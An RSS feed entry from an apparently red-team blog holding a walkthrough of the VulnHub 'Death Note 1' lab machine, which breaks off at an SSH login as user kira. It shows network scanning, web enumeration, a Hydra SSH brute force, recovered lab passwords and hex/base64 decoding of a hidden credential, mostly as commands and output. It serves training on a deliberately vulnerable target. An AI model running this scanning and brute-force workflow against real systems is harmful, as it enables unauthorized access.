<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet href="/blog/feed.xsl" type="text/xsl"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>r3d/ops — Blog Red Team KBM Security</title><description>Tutoriais de segurança ofensiva, scripts e playbooks para operações red team autorizadas.</description><link>https://www.kbmsecurity.com.br/</link><language>pt-br</language><copyright>© 2026 KBM Security</copyright><item><title>Death Note 1 — Complete VulnHub Walkthrough</title><link>https://www.kbmsecurity.com.br/blog/post/deathnote-en/</link><guid isPermaLink="true">https://www.kbmsecurity.com.br/blog/post/deathnote-en/</guid><description>Walkthrough of the Death Note 1 VulnHub machine: reconnaissance, SSH brute-force with Hydra, hex/base64 decoding, and capturing root.txt.</description><pubDate>Sat, 21 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;1-introduction&quot;&gt;1. Introduction&lt;/h2&gt;
&lt;p&gt;The &lt;strong&gt;Death Note 1&lt;/strong&gt; machine is available on &lt;a href=&quot;https://www.vulnhub.com/entry/deathnote-1,739/&quot;&gt;VulnHub&lt;/a&gt; and is classified as &lt;strong&gt;Easy&lt;/strong&gt;. The goal is to compromise the server, escalating from web access to reading the &lt;code&gt;root.txt&lt;/code&gt; file. The theme is inspired by the anime &lt;em&gt;Death Note&lt;/em&gt;, with users such as &lt;strong&gt;kira&lt;/strong&gt;, &lt;strong&gt;L&lt;/strong&gt;, and &lt;strong&gt;Misa&lt;/strong&gt; distributed throughout the machine.&lt;/p&gt;
&lt;p&gt;The environment used in this walkthrough is a local network with the target machine at &lt;code&gt;192.168.3.152&lt;/code&gt; and the attacking machine running &lt;strong&gt;Kali Linux&lt;/strong&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;2-reconnaissance&quot;&gt;2. Reconnaissance&lt;/h2&gt;
&lt;h3 id=&quot;21-host-discovery&quot;&gt;2.1 Host Discovery&lt;/h3&gt;
&lt;p&gt;We use &lt;code&gt;netdiscover&lt;/code&gt; to map the active hosts on the &lt;code&gt;/16&lt;/code&gt; network and identify the IP of the target machine.&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;netdiscover&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -r&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; 192.168.0.0/16&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Currently scanning: 192.168.0.0/16 | Screen View: Unique Hosts&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;IP             At MAC Address      Count  Len  MAC Vendor / Hostname&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;192.168.0.1    d8:07:b6:96:bf:c8   1      60   TP-LINK TECHNOLOGIES CO.,LTD.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;192.168.3.1    88:36:cf:5d:f9:e5   1      60   Huawei Device Co., Ltd.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;192.168.3.126  dc:21:5c:76:38:2e   1      60   Intel Corporate&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;192.168.3.152  08:00:27:72:d0:cd   1      60   PCS Systemtechnik GmbH   ← TARGET&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;22-port-and-service-scan&quot;&gt;2.2 Port and Service Scan&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;nmap&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -sS&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -A&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 192.168.3.152&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;PORT   STATE SERVICE VERSION&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;80/tcp open  http    Apache httpd 2.4.38 ((Debian))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;|_http-title: Site doesn&amp;#x26;#x27;t have a title (text/html)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Two open ports&lt;/strong&gt; were identified:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;22/TCP&lt;/strong&gt; — SSH (OpenSSH 7.9p1)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;80/TCP&lt;/strong&gt; — HTTP (Apache 2.4.38)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id=&quot;3-web-enumeration&quot;&gt;3. Web Enumeration&lt;/h2&gt;
&lt;h3 id=&quot;31-initial-access&quot;&gt;3.1 Initial Access&lt;/h3&gt;
&lt;p&gt;Accessing &lt;code&gt;http://192.168.3.152&lt;/code&gt; through the browser, we found a completely unconfigured website. Navigating to the &lt;code&gt;/wordpress/&lt;/code&gt; directory, we found a WordPress blog with the user &lt;strong&gt;kira&lt;/strong&gt; and the post &lt;em&gt;“i will eliminate you L!”&lt;/em&gt;, containing the phrase:&lt;/p&gt;
&lt;p&gt;&gt; &lt;em&gt;“my fav line is iamjustic3”&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;This serves as an important tip for the exploration phase.&lt;/p&gt;
&lt;h3 id=&quot;32-directory-enumeration-with-dirbuster&quot;&gt;3.2 Directory Enumeration with DirBuster&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Using OWASP DirBuster 1.0-RC1 against http://192.168.3.152:80/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# DirBuster default wordlist, 200 threads&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Relevant directories/files found (HTTP 200):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;/wp-content/uploads/2021/07/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;/wp-content/uploads/2021/07/user.txt   (359 bytes)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;/wp-content/uploads/2021/07/notes.txt  (745 bytes)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;/license.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;/robots.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;/manual/&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two &lt;code&gt;.txt&lt;/code&gt; files were found in the WordPress uploads directory:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;user.txt&lt;/code&gt;&lt;/strong&gt; — list of possible usernames&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;notes.txt&lt;/code&gt;&lt;/strong&gt; — list of possible passwords&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;33-analysis-of-robotstxt&quot;&gt;3.3 Analysis of robots.txt&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;curl&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; http://192.168.3.152/robots.txt&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;fuck it my dad&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;added hint on /important.jpg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ryuk please delete it&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;robots.txt&lt;/code&gt; reveals the existence of the &lt;code&gt;/important.jpg&lt;/code&gt; file.&lt;/p&gt;
&lt;h3 id=&quot;34-reading-importantjpg-via-curl&quot;&gt;3.4 Reading important.jpg via curl&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;important.jpg&lt;/code&gt; file was corrupted as an image. Using &lt;code&gt;curl&lt;/code&gt;, it was possible to read its text content:&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;curl&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; http://192.168.3.152/important.jpg&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;i am Soichiro Yagami, light&amp;#x26;#x27;s father&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;i have a doubt if L is true about the assumption that light is kira&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;i can only help you by giving something important&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;login username : user.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;i don&amp;#x26;#x27;t know the password.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;find it by yourself&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;but i think it is in the hint section of site&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Confirmation: &lt;strong&gt;&lt;code&gt;user.txt&lt;/code&gt;&lt;/strong&gt; is the user wordlist and the password is in &lt;strong&gt;&lt;code&gt;notes.txt&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;4-exploitation&quot;&gt;4. Exploitation&lt;/h2&gt;
&lt;h3 id=&quot;41-ssh-brute-force-with-hydra&quot;&gt;4.1 SSH Brute Force with Hydra&lt;/h3&gt;
&lt;p&gt;With the wordlists &lt;code&gt;user.txt&lt;/code&gt; and &lt;code&gt;notes.txt&lt;/code&gt; in hand, we perform a brute force attack on the SSH service:&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;hydra&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -L&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; user.txt&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -P&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; notes.txt&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 192.168.3.152&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; ssh&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;[DATA] max 16 tasks per 1 server, overall 16 tasks, 731 login tries (l:17/p:43)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;[DATA] attacking ssh://192.168.3.152:22/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;[STATUS] 293.00 tries/min, 293 tries in 00:01h&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;[22][ssh] host: 192.168.3.152   login: l   password: deathnote&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&gt; ✅ &lt;strong&gt;Credentials found: &lt;code&gt;l&lt;/code&gt; / &lt;code&gt;deathnote&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;5-initial-access&quot;&gt;5. Initial Access&lt;/h2&gt;
&lt;h3 id=&quot;51-ssh-login-as-user-l&quot;&gt;5.1 SSH login as user &lt;code&gt;l&lt;/code&gt;&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;ssh&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; l@192.168.3.152&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;l@192.168.3.152&amp;#x26;#x27;s password: deathnote&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Linux deathnote 4.19.0-17-amd64 #1 SMP Debian 4.19.194-2 (2021-06-21) x86_64&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;l@deathnote:~$&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Successfully gained access to the target machine’s shell.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;6-post-exploitation--escalation&quot;&gt;6. Post-Exploitation / Escalation&lt;/h2&gt;
&lt;h3 id=&quot;61-discovery-of-the-optl-directory&quot;&gt;6.1 Discovery of the /opt/L Directory&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;l@deathnote:~$&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; cd&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /opt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;l@deathnote:/opt$&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; ls&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -l&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;drwxr-xr-x 4 root root 4096 Aug 29 2021 L&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;l@deathnote:/opt$&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; cd&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; L&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;amp&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;amp&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;ls&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -l&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;drwxr-xr-x 2 root root 4096 Aug 29 2021 fake-notebook-rule&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;drwxr-xr-x 2 root root 4096 Aug 29 2021 kira-case&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;62-reading-case-filetxt&quot;&gt;6.2 Reading case-file.txt&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;l@deathnote:/opt/L$&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; cd&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; kira-case&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;amp&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;amp&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; case-file.txt&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;the FBI agent died on December 27, 2006&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;1 week after the investigation of the task-force member/head.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;aka.....&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Soichiro Yagami&amp;#x26;#x27;s family.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;hmmmmmmmmmm......&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;and according to Watari,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;he died as others died after Kira targeted them.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;and we also found something in the fake-notebook-rule folder.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;63-hex--base64-decoding-of-casewav&quot;&gt;6.3 Hex + Base64 decoding of case.wav&lt;/h3&gt;
&lt;p&gt;Inside the &lt;code&gt;fake-notebook-rule&lt;/code&gt; directory, we found a file &lt;code&gt;case.wav&lt;/code&gt; that was unreadable as audio:&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;l@deathnote:/opt/L/fake-notebook-rule$&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; cat&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; case.wav&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;63 47 46 7a 63 33 64 6b 49 44 4f 67 61 32 6c 79 59 57 6c 7a 5a 58 5a 70 62 43 41 3d&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;l@deathnote:/opt/L/fake-notebook-rule$&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; cat&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; hint&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;use cyberchef&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Using &lt;strong&gt;CyberChef&lt;/strong&gt; with the recipe &lt;code&gt;From Hex → From Base64&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Input (Hex):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;63 47 46 7a 63 33 64 6b 49 44 4f 67 61 32 6c 79 59 57 6c 7a 5a 58 5a 70 62 43 41 3d&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Step 1 — From Hex:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;cGFzc3dkIDoga2lyYWlzZXZpbCA=&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Step 2 — From Base64:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;passwd : kiraisevil&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&gt; ✅ &lt;strong&gt;New credential found: &lt;code&gt;kira&lt;/code&gt; / &lt;code&gt;kiraisevil&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id=&quot;64-log-in-as-kira-and-decode-kiratxt&quot;&gt;6.4 Log in as kira and decode kira.txt&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Elevating to user kira (or reconnecting via SSH)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;ssh&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; kira@192.168.3.152&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# password: kiraisevil&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
